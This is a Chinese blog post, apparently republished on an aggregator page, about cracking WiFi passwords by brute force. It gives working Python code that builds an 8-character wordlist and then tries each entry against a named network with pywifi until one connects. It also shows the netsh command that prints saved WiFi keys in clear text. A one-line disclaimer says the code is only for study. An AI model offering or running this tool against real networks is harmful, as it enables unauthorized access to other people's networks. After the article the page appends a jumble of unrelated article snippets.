python编程实战(三):暴力破解WIFI密码!亲测运行有效!

2023-11-02

本文非原创,参考:Python破解WIFI密码详细介绍

对于代码有细微修改;

增加注意事项介绍;

声明:本文只是从技术的角度来阐述学习Pywifi库!

并不建议大家做任何破坏性的操作和任何不当的行为!

并不建议大家做任何破坏性的操作和任何不当的行为!

1、破解wifi密码的流程

① 生成数字组合的密码本(复杂的就是大小写字母和数字组合)

密码本生成需要时间,文末已给纯数字密码本~

② 通过 使用 pywifi 模块,根据密码本暴力破解
(时间未知,仅提供思路)

2、实现

① 先安装 pywifi

1,win+r, 然后输入cmd

在这里插入图片描述

2,pip install pywifi
在这里插入图片描述

② 生成密码本(有密码本直接第三步)

代码:

import itertools as its
import datetime

# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'  # 大小写字母 + 数字 组合
# words = '0123456789' # 纯数字
# 生成密码的位数
r = its.product(words, repeat=8)  # 即生成8位密码,正常情况下热点密码位数为8
dic = open(r"C:\Users\Administrator\Desktop\alphabetPass.txt", 'a')  # alphabetPass.txt 是密码本名称
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))


效果:

在这里插入图片描述

③ 穷举密码

代码:

注意修改对应wifi 名称

# coding:utf-8

import pywifi
from pywifi import const
import time
import datetime


# 测试连接,返回链接结果
def wifiConnect(pwd):
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = "CU_fb5g_2.4G"
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

    # 读取密码本


def readPassword():
    print("开始破解:")
    # 密码本路径
    path = "C:\\Users\\Administrator\\Desktop\\numberPass.txt"
    # 打开文件
    file = open(path, "r")
    while True:
        try:
            # 一行一行读取
            pad = file.readline()
            bool = wifiConnect(pad)

            if bool:
                print("密码已破解: ", pad)
                print("WiFi已自动连接!!!")
                break
            else:
                # 跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ", pad)
        except:
            continue


start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end - start))

【注意事项】

一。可能会报错:ModuleNotFoundError: No module named 'comtypes

解决方法:

1.pycharm可能就直接提示了,自己留意查看,点击安装即可
2. 导入pywifi时,报错ModuleNotFoundError: No module named ‘comtypes’

二、

效果

在这里插入图片描述

在这里插入图片描述

时间可能很久很久! 但是操作还是可操作的!

就当一个参考思路吧!

3、题外话:查看电脑已连接的 WIFI 密码

① win+r, 然后输入cmd
在这里插入图片描述

② 输入命令:netsh wlan show profile name=“啦啦啦的iPhone” key=clear

蓝色字体啦啦啦的iPhone 是你正在连接的 WiFi 或者热点的名称,记得替换一下!

结果:00000000 就是我开的热点的密码
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

python编程实战(三):暴力破解WIFI密码!亲测运行有效! 的相关文章

随机推荐

  • Mysql存储过程的变量定义

    1 局部变量 用户自定义 在begin end块中有效 语法 declare 变量名 数据类型 default 默认值 举例 declare name varchar 10 delimiter create procedure func b
  • Python——XML解析

    SAX是事件驱动的解析方式 会产生3个事件 a href python a 1 start element事件 在读取 a href 时 2 char data事件 在读取python时 3 end element事件 在读取 a 时 需要
  • AI 协助办公 |记一次用 GPT-4 写一个消息同步 App

    GPT 4 最近风头正劲 作为 NebulaGraph 的研发人员的我自然是跟进新技术步伐 恰好 现在有一个将 Slack channel 消息同步到其他 IM 的需求 看看 GPT 4 能不能帮我完成这次的信息同步工具的代码编写工作 本文
  • 二叉树的翻转

    目录 一 题目 二 解题思路 1 二叉树翻转 2 具体步骤 迭代法 三 代码实现 一 题目 1 leetcode链接 力扣 2 题目内容 给你一棵二叉树的根节点 root 翻转这棵二叉树 并返回其根节点 示例 1 输入 root 4 2 7
  • LeetCode No3. 无重复字符的最长子串 题解

    文章目录 一 题目 二 算法思想 三 示例 四 代码 五 复杂度分析 六 算法评价 一 题目 给定一个字符串 s 请你找出其中不含有重复字符的 最长子串 的长度 示例 1 输入 s abcabcbb 输出 3 解释 因为无重复字符的最长子串
  • 从高中到大学 寻找真实的自己

    写在前面 这是这个寒假刚开始在CSDN上写博客的时候发的第一个blink 当时想说的话有点多 但blink的文字限制是1024字 所以那时控制了字数 现在放开重新写 写在正文 因为疫情原因在家上了差不多3个月的网课 大一回来过个寒假 再次回
  • 2020年研究生数学建模竞赛优秀论文汇总

    A题 ASIC 芯片上的载波恢复 DSP算法设计与实现论文1 论文2 论文3 论文4 论文5 B题 降低汽油精制过程中的辛烷值损失模型论文1 论文2 论文3 论文4 论文5 论文6 论文7 论文8 论文9 论文10 C题 面向康复工程的脑电
  • HTTP协议2)----对于传输层的详细讲解

    大家好 我是 兔7 一位努力学习C 的博主 如果文章知识点有错误的地方 请指正 和大家一起学习 一起进步 如有不懂 可以随时向我提问 我会全力讲解 如果感觉博主的文章还不错的话 希望大家关注 点赞 收藏三连支持一下博主哦 你们的支持是我创作
  • pythonfilter_Python如何用filter函数筛选数据

    一 filter函数简介 filter函数主要用来筛选数据 过滤掉不符合条件的元素 并返回一个迭代器对象 如果要转换为列表list或者元祖tuple 可以使用内置函数list 或者内置函数tuple 来转换 filter函数接收两个参数 第
  • Altium Designer可以实现选中整条同网络线路的快捷键

    选中一段线路 按Tab键 可以选中同网络的整条线路
  • Masked Autoencoders Are Scalable Vision Learners

    Masked Autoencoders Are Scalable Vision Learners Author Unit Facebook AI Research FAIR Authors Kaiming He
  • Finclip小程序目录结构与微信小程序目录结构

    Finclip小程序目录结构 小程序包含一个描述整体程序的 app 和多个描述各自页面的 page 一个小程序主体部分由三个文件组成 必须放在项目的根目录 如下 文件 必需 作用 app js 是 小程序逻辑 app json 是 小程序公
  • 两个无序的数组 如何进行合并 为一个有序的数组

    这里我们首先来看 自己也才毕业半年 这些题比较适合新手练练思想 技术之路且行且珍惜 算法绝对是核心竞争力 两个无序的数组 那么首先第一步合并 第二步 使用正则表达式去掉 第三步 split进行划分 第四步 最核心的排序 此处用了Arrays
  • MYSQL索引那些事

    一 关系型和非关系型的区别 以及使用场景 关系型数据库 采用关系模型来组织数据的数据库 关系模型就是二维表格模型 一张二维表的表名就是关系 二维表中的一行就是一条记录 二维表中的一列就是一个字段 优点 容易理解 使用方便 通用的 sql 语
  • Ceph OSD Down

    CEPH集群跑了一段时间后有几个OSD变成down的状态了 但是我用这个命令去activate也不行 ceph deploy osd activate osd1 dev sdb2 dev sdb1 只能把osd从集群中移除 然后再重建了 这
  • 【我的Android进阶之旅】如何快速寻找Android第三方开源库在Jcenter上的最新版本...

    问题描述 解决方法 先了解compile comsquareupokhttpokhttp240的意义 了解Jcenter和Maven jcenter Maven Central 理解jcenter和Maven Central 快速搜索方法1
  • 改造我们的学习

    我们知道 程序员必须得不断的学习 才能跟上日新月异的技术 但是很多朋友陷入了误区 比如学习C 总觉得我要把 C Primier 看完 再开始编程 学习图像处理也是 非要把数字图像处理与Opencv的书籍看完 才开始上机调试 最后云里雾里 感
  • 零基础Qt笔记<传智教育>Qt版本:2022 5.15

    目录 1 创建第一个Qt程序 2 命名规范以及快捷键 3 QPushBottom的创建 4 对象树 5 Qt中的坐标系 6 信号和槽 6 1 实现点击按钮关闭窗口 6 2 自定义的信号和槽 6 3 自定义的信号和槽发生重载的解决 6 4 信
  • 电话号码升位(拷贝构造函数)

    题目描述 定义一个电话号码类CTelNumber 包含1个字符指针数据成员 以及构造 析构 打印及拷贝构造函数 字符指针是用于动态创建一个字符数组 然后保存外来输入的电话号码 构造函数的功能是为对象设置键盘输入的7位电话号码 拷贝构造函数的
  • python编程实战(三):暴力破解WIFI密码!亲测运行有效!

    本文非原创 参考 Python破解WIFI密码详细介绍 对于代码有细微修改 增加注意事项介绍 声明 本文只是从技术的角度来阐述学习Pywifi库 并不建议大家做任何破坏性的操作和任何不当的行为 并不建议大家做任何破坏性的操作和任何不当的行为